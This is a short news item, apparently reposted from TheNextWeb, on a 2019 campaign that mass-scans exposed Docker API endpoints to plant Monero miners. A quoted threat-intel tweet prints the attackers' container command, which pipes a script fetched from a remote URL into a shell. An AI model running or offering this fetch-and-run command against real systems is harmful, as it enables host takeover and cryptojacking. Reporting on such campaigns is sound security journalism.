Hackers mass-scan for Docker vulnerability to mine Monero cryptocurrency
0Reported today on TheNextWeb
For the full article visit: https://thenextweb.com/hardfork/2019/11/27/hackers-mass-scan-for-docker-vulnerability-to-mine-monero-cryptocurrency/
Hackers mass-scan for Docker vulnerability to mine Monero cryptocurrency
Its size is what caught the attention of researchers
A hacking group is reportedly performing a mass-scan of the internet in search of vulnerable ports on systems using enterprise sandbox software Docker to mine cryptocurrency.
According to security researchers at Bad Packets, the scans, which began over the weekend, identify vulnerabilities that allow bad actors to inject malicious code that deploys a cryptocurrency miner on a company's Docker instances, ZDNet reports.
Opportunistic mass scanning activity detected targeting exposed Docker API endpoints.
These scans create a container using an Alpine Linux image, and execute the payload via:"Command": "chroot /mnt /bin/sh -c 'curl -sL4 https://t.co/q047bRPUyj | bash;'",#threatintel pic.twitter.com/vxszV5SF1o
- Bad Packets Report (@bad_packets) November 25, 2019
Troy Mursch, chief researcher and co-founder of Bad Packets, told ZDNet this type of activity is quite common. However, this campaign was unique because of its size.
Researchers are yet to get